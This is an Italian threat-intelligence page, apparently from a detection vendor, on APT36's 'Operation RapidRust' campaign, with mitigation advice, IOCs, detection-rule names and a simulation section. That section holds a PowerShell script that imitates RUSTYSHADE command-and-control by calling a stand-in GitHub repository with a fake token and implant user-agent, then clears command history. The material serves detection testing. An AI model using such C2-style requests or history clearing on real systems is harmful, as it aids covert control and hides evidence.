APT36 lancia l’Operazione RapidRust con RUSTYSHADE e RUSTYMOVE
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Il gruppo di minaccia con legami al Pakistan APT36 sta conducendo una campagna monitorata come Operation RapidRust contro organizzazioni governative e di difesa. Il gruppo ha introdotto un nuovo malware basato su Rust, inclusi il backdoor RUSTYSHADE e lo strumento di propagazione RUSTYMOVE. APT36 utilizza anche script specializzati per il furto di file, PSNATCH e BASHNATCH, per raccogliere ed esfiltrare dati tramite repository privati di GitHub.
Indagine
Zscaler ThreatLabz ha identificato nuove famiglie di malware e strumenti post-compromissione utilizzati da APT36 ad agosto 2026. L’indagine ha rivelato che RUSTYSHADE abusa dell’API REST di GitHub per il comando e controllo e domini di typosquatting per il staging dei payload. I ricercatori hanno anche osservato tentativi di movimento laterale e la diffusione di RUSTYMOVE tramite supporti rimovibili per raggiungere ambienti isolati.
Mitigazione
Le organizzazioni dovrebbero monitorare l’uso non autorizzato dell’API di GitHub e connessioni in uscita insolite verso servizi di archiviazione cloud come Backblaze. Dovrebbero essere applicati controlli rigorosi sui supporti rimovibili, mentre i task pianificati sospetti che si spacciano per aggiornamenti legittimi dovrebbero essere rilevati. Il monitoraggio degli endpoint dovrebbe inoltre identificare l’esecuzione non autorizzata di script PowerShell o Bash e attività di esfiltrazione di file insolite.
Risposta
Se viene rilevata un’attività malevola, gli endpoint Windows e Linux interessati dovrebbero essere isolati immediatamente per prevenire il movimento laterale e l’esfiltrazione dei dati. I soccorritori dovrebbero verificare i task pianificati e cercare file come DriverInstaller.zip or Automata-20.exe. I log di rete dovrebbero anche essere esaminati per connessioni a theprints[.]org, indiatodays[.]org, e attività sospette dell’API di GitHub provenienti dall’ambiente.
Flusso di Attacco
Stiamo ancora aggiornando questa parte.
Rilevazioni
Possibilità di Esecuzione tramite Linee di Comando PowerShell Nascondi (via cmdline)
Download o Upload tramite Powershell (via cmdline)
Possibile Scoperta Sistemi Remoti o Verifica di Connettività (via cmdline)
Possibile Scoperta delle Condivisioni di Rete (via cmdline)
Possibile Enumerazione Account Admin o Gruppi (via cmdline)
Possibile Scoperta della Configurazione di Rete del Sistema (via cmdline)
Esecuzione Sospetta da Profilo Utente Pubblico (via process_creation)
Possibile Creazione di Task Pianificati (via powershell)
Possibile Tentativo di Comunicazioni di Ricerca Domini IP (via dns)
IOC (HashSha256) per rilevare: Operation RapidRust: APT36 Deploys RUSTYSHADE, RUSTYMOVE, PSNATCH, and BASHNATCH
IOC (HashSha1) per rilevare: Operation RapidRust: APT36 Deploys RUSTYSHADE, RUSTYMOVE, PSNATCH, and BASHNATCH
IOC (HashMd5) per rilevare: Operation RapidRust: APT36 Deploys RUSTYSHADE, RUSTYMOVE, PSNATCH, and BASHNATCH
Comunicazione C2 di RUSTYSHADE tramite API di GitHub [Connessione di Rete Windows]
Rilevazione Attività RUSTYSHADE e RUSTYMOVE tramite PowerShell [Windows Powershell]
Esecuzione di Simulazione
-
Narrativa & Comandi di Attacco: L’avversario ha distribuito con successo un impianto simile a RUSTYSHADE su una workstation Windows. Per ricevere ulteriori istruzioni, l’impianto deve comunicare con il suo C2 ospitato su GitHub. L’impianto tenterà di raggiungere un repository specifico per recuperare un payload. Per superare i filtri perimetrali di base che potrebbero bloccare l’accesso anonimo all’API, l’impianto utilizza un Token di Accesso Personale (PAT) hardcoded passato tramite l’header
Authorization: token <TOKEN>. Questa azione è intesa per sembrare uno strumento di sviluppo legittimo che recupera i metadati di un repository, ma la specifica combinazione dell’URL del repository e iltokenprefisso nell’intestazione attiveranno la regola di rilevamento. -
Script di Test di Regressione:
# Script di simulazione per imitare la comunicazione C2 di RUSTYSHADE # Questo script genera una richiesta che corrisponde alla logica di rilevazione: # 1. L'URL contiene 'api.github.com/repos/' # 2. L'intestazione contiene 'Authorization: token' $targetUrl = "https://api.github.com/repos/adversary-c2/malicious-repo/contents/config.json" $fakeToken = "ghp_sImUlAtEdToKeN1234567890AbCdEfGhIjKlMnOpQrStUvWxYz" # Costruzione dell'intestazione per far corrispondere esattamente la stringa 'token' richiesta dalla regola $headers = @{ "Authorization" = "token $fakeToken" "User-Agent" = "RUSTYSHADE-Implant/1.0" } Write-Host "Tentativo di comunicazione C2 a $targetUrl..." try { # Usiamo -ErrorAction SilentlyContinue perché l'URL è falso e restituirà 404, # ma il proxy registrerà comunque il tentativo di richiesta. Invoke-WebRequest -Uri $targetUrl -Headers $headers -Method Get -ErrorAction SilentlyContinue Write-Host "Richiesta di simulazione inviata con successo." } catch { Write-Host "Richiesta inviata (Errore previsto dovuto a URL falso, ma i log del proxy dovrebbero catturare il tentativo)." } -
Comandi di Pulizia:
# Non sono state apportate modifiche permanenti al sistema; # tuttavia, cancelliamo la cronologia dei comandi per pulizia. Clear-History